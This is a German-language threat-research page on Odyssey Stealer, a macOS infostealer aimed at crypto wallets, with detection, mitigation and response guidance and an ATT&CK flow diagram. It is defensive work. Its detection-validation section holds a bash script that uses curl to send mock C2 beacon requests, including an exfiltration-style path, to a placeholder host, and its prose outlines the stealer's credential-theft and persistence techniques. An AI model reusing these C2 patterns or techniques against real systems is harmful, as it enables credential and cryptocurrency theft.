SOC Prime Bias: Mittel

13 Feb. 2026 16:13

Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Odyssey Stealer ist ein macOS-Infostealer, der sich auf Kryptowährungswallets und -erweiterungen konzentriert. Er wird als Malware-as-a-Service-Plattform vermarktet, bei der Partner Zugriff auf einen zentralisierten C2 und ein Admin-Panel mieten. Die Bereitstellung erfolgt typischerweise über verschleiertes AppleScript, das einen persistenten LaunchDaemon installiert, der den C2 nach Befehlen abfragt. Der Betreiber kann auch legitime Ledger- und Trezor-Apps durch trojanisierte Builds ersetzen, um Anmeldedaten und Transaktionsdaten zu erfassen.

Untersuchung

Forscher haben den C2 mit einzigartigen HTML-Meta-Tags, Seitenkörper-Hashes und einem gemeinsamen Favicon-Hash identifiziert. Sie kartierten zehn physische Hosts über mehrere ASN-Cluster hinweg, hauptsächlich in Europa und den Niederlanden. Die Zerlegung der Nutzlast ergab einen mehrstufigen AppleScript-Dropper, LaunchDaemon-Persistenz und eine in Go kompilierte SOCKS5-Proxy-Binärdatei. In den Dropper eingebettete Konfigurationsdaten enthüllten Partnerkennungen und Build-IDs.

Minderung

Achten Sie auf verdächtige osascript-Aktivitäten, insbesondere lange verschleierte Zeichenfolgen, unbekannte LaunchDaemon-Plist-Dateien mit zufälligen Bezeichnungen und ausgehende POST-Anfragen an „/log“-Endpunkte. Alarmieren Sie bei von LaunchDaemon erzeugten Binärdateien und verdächtigen SOCKS5-Aktivitäten. Überprüfen Sie die Code-Signatur für Ledger- und Trezor-Anwendungen und blockieren Sie bekannte C2-Domains und IP-Adressen. Schulen Sie Benutzer darin, unerwartete Passwortabfragen und „Wallet-Updates“ als hohes Risiko zu betrachten.

Reaktion

Bei Erkennung das System isolieren, den bösartigen LaunchDaemon beenden und trojanisierte Wallet-Anwendungen entfernen. Netzwerkverkehr zu den identifizierten C2-Domains und IPs erfassen zur Untersuchung, dann offengelegte Kryptowährungs-Anmeldeinformationen zurücksetzen und macOS-Passwörter wechseln. Eine vollständige forensische Überprüfung durchführen, um zusätzliche Artefakte zu identifizieren.

„graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[„<b>Aktion</b> – <b>T1566 Phishing</b>: Bösartiger Link per E-Mail oder Malvertising zugestellt<br/><b>Beschreibung</b>: Angreifer erlangt ersten Zugang, indem er den Benutzer dazu bringt, auf einen Link zu klicken.“] class action_initial_access_phishing action action_user_execution_malicious_link[„<b>Aktion</b> – <b>T1204.001 Benutzer Ausführung: Bösartiger Link</b>: Opfer klickt auf den Link und startet einen AppleScript-Dropper<br/><b>Beschreibung</b>: Code-Ausführung erfolgt nach Benutzerinteraktion.“] class action_user_execution_malicious_link action action_execution_obfuscation[„<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: Verschleierte AppleScript-Nutzlast über osascript ausgeführt<br/><b>Beschreibung</b>: Verbirgt bösartigen Code, um der Erkennung zu entgehen.“] class action_execution_obfuscation action action_cred_gui_capture[„<b>Aktion</b> – <b>T1056.002 Eingabeerfassung: GUI</b>: Gefälschtes macOS-Passwortdialog erfasst Admin-Anmeldedaten<br/><b>Beschreibung</b>: Stiehlt Anmeldedaten durch Benutzeroberflächen-Spoofing.“] class action_cred_gui_capture action action_cred_browser_stores[„<b>Aktion</b> – <b>T1555.003 Anmeldedaten von Webbrowsern</b>: Extrahiert Cookies, Passwörter und Kryptowallet-Daten aus Chrome, Edge und Firefox<br/><b>Beschreibung</b>: Erntet gespeicherte Web-Anmeldedaten.“] class action_cred_browser_stores action action_cred_keychain[„<b>Aktion</b> – <b>T1555.005 Anmeldedaten von Passwortmanagern</b>: Liest gespeicherte Passwörter aus dem macOS-Schlüsselbund<br/><b>Beschreibung</b>: Greift auf Passwortmanager-Daten zu.“] class action_cred_keychain action action_cred_securityd[„<b>Aktion</b> – <b>T1555.002 Anmeldedaten aus Securityd-Speicher</b>: Erntet den Speicher des securityd-Prozesses für Anmeldedaten<br/><b>Beschreibung</b>: Ruft Anmeldematerial aus Prozessspeicher ab.“] class action_cred_securityd action action_priv_esc_valid_accounts[„<b>Aktion</b> – <b>T1078 Gültige Konten</b>: Nutzt erfasstes Admin-Passwort zur Erlangung erweiterter Rechte<br/><b>Beschreibung</b>: Erlangt höhere Berechtigungen mit legitimen Anmeldedaten.“] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[„<b>Aktion</b> – <b>T1543.004 Launch Daemon</b>: Installiert com.random.plist LaunchDaemon für periodisches C2-Polling<br/><b>Beschreibung</b>: Besteht fort, indem ein Launch Daemon erstellt wird.“] class action_persistence_launchdaemon action action_discovery_browser[„<b>Aktion</b> – <b>T1217 Browser-Informationsentdeckung</b>: Listet installierte Browser und Wallet-Erweiterungen auf<br/><b>Beschreibung</b>: Sammelt Informationen über die Browsing-Umgebung des Opfers.“] class action_discovery_browser action action_collection_archive[„<b>Aktion</b> – <b>T1560 Gesammelte Daten archivieren</b>: Komprimiert gestohlene Dateien in ein ZIP-Archiv<br/><b>Beschreibung</b>: Verpackt Daten zur Exfiltration.“] class action_collection_archive action action_exfil_automated[„<b>Aktion</b> – <b>T1020 Automatisierte Exfiltration</b>: POSTt das ZIP-Archiv an den /log-Endpunkt<br/><b>Beschreibung</b>: Sendet gesammelte Daten über HTTP.“] class action_exfil_automated action action_c2_webservice[„<b>Aktion</b> – <b>T1102 Webdienst</b>: Kommuniziert mit C2 unter Verwendung von HTTP GET- und POST-Endpunkten<br/><b>Beschreibung</b>: Nutzt Webdienste für Kommando und Kontrolle.“] class action_c2_webservice action action_c2_dead_drop[„<b>Aktion</b> – <b>T1102.001 Dead Drop Resolver</b>: Ruft Nutzlasten von /d/… URLs ab<br/><b>Beschreibung</b>: Verwendet einen toten Abwurfstandort, um Befehle zu erhalten.“] class action_c2_dead_drop action action_c2_external_proxy[„<b>Aktion</b> – <b>T1090.002 Externer Proxy</b>: Lädt einen in Go compilierten SOCKS5-Proxy herunter und führt ihn für den Traffic-Tunneling aus<br/><b>Beschreibung</b>: Leitet C2-Verkehr über einen externen Proxy.“] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|führt zu| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|löst aus| action_execution_obfuscation action_execution_obfuscation u002du002d>|ermöglicht| action_cred_gui_capture action_cred_gui_capture u002du002d>|liefert| action_cred_browser_stores action_cred_browser_stores u002du002d>|fügt hinzu| action_cred_keychain action_cred_keychain u002du002d>|fügt hinzu| action_cred_securityd action_cred_securityd u002du002d>|gibt| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|erlaubt| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|ermöglicht| action_discovery_browser action_discovery_browser u002du002d>|versorgt| action_collection_archive action_collection_archive u002du002d>|bereitet vor| action_exfil_automated action_exfil_automated u002du002d>|nutzt| action_c2_webservice action_c2_webservice u002du002d>|verwendet| action_c2_dead_drop action_c2_dead_drop u002du002d>|unterstützt| action_c2_external_proxy „

Angriffsfluss

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Basislinien-Vorabüberprüfung muss bestanden sein.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat den Odyssey Stealer auf einem macOS-Arbeitsplatz eingesetzt. Nachdem der Benutzer kompromittiert wurde, initiiert die Malware ein Signal an ihren C2-Server, um zusätzliche Nutzlasten herunterzuladen und gesammelte Daten zu exfiltrieren. Das Signal verwendet den nativen curl Binary (von Apple signiertes Binary), um HTTP GET-Anfragen an die in der Regel definierten C2-Endpunkte zu stellen. Der Angreifer wählt diese spezifischen URI-Pfade, da sie kurz sind, sich in den normalen Webverkehr einfügen und von allgemeinen URL-Filterlösungen nicht erkannt werden.

    Schritte:

    1. Lösen Sie den C2-Hostnamen auf (simuliert als c2.odyssey.example.com).
    2. Führen Sie eine GET-Anfrage an /d/aff123456 – ahmt den Daten-Exfiltration-Endpunkt mit einem zufälligen Partnercode und numerischem Token nach.
    3. Führen Sie eine GET-Anfrage an /api/v1/bot/ – simuliert Bot-Management-Heartbeat.
    4. Optional können Sie eine Anfrage an /log senden, um den internen Protokollierungsverkehr zu emulieren, den die Malware für Statusmeldungen verwendet.
  • Regressionstest-Skript: Das folgende Bash-Skript reproduziert den genauen Verkehr, der zur Auslösung der Erkennungsregel erforderlich ist.

    #!/usr/bin/env bash
    # Odyssey Stealer C2 Beacon-Simulation für Erkennungsvalidierung
    # Anforderungen: curl, Netzwerk-Proxy wie in den Vorab-Schritten konfiguriert
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"  # Ihrer Squid-Proxy-Adresse anpassen
    
    # Funktion zum Senden einer Anfrage über den Proxy
    send_request() {
        local path=$1
        echo "[*] Anfrage senden an https://${C2_HOST}${path} über Proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Datenexfiltrations-Endpunkt (zufälliger Partner + Ziffern)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. Bot-Management-Heartbeat
    send_request "/api/v1/bot/"
    
    # 3. Optionaler Protokollierungsendpunkt
    send_request "/log"
    
    echo "[+] Simulation abgeschlossen. Überprüfen Sie Alarme im SIEM."

    Speichern Sie das Skript als odyssey_beacon.sh, machen Sie es ausführbar (chmod +x odyssey_beacon.sh), und führen Sie es auf dem macOS-Testhost aus.

  • Bereinigungsbefehle: Entfernen Sie alle temporären Dateien und deaktivieren Sie optional den Proxy für den Testbenutzer.

    # Deaktivieren Sie die Proxy-Einstellungen für die Wi-Fi-Schnittstelle
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Optional) Stoppen Sie Squid, wenn es nur für diesen Test gestartet wurde
    # brew services stop squid
    echo "Proxy-Einstellungen wiederhergestellt und Squid (falls zutreffend) gestoppt."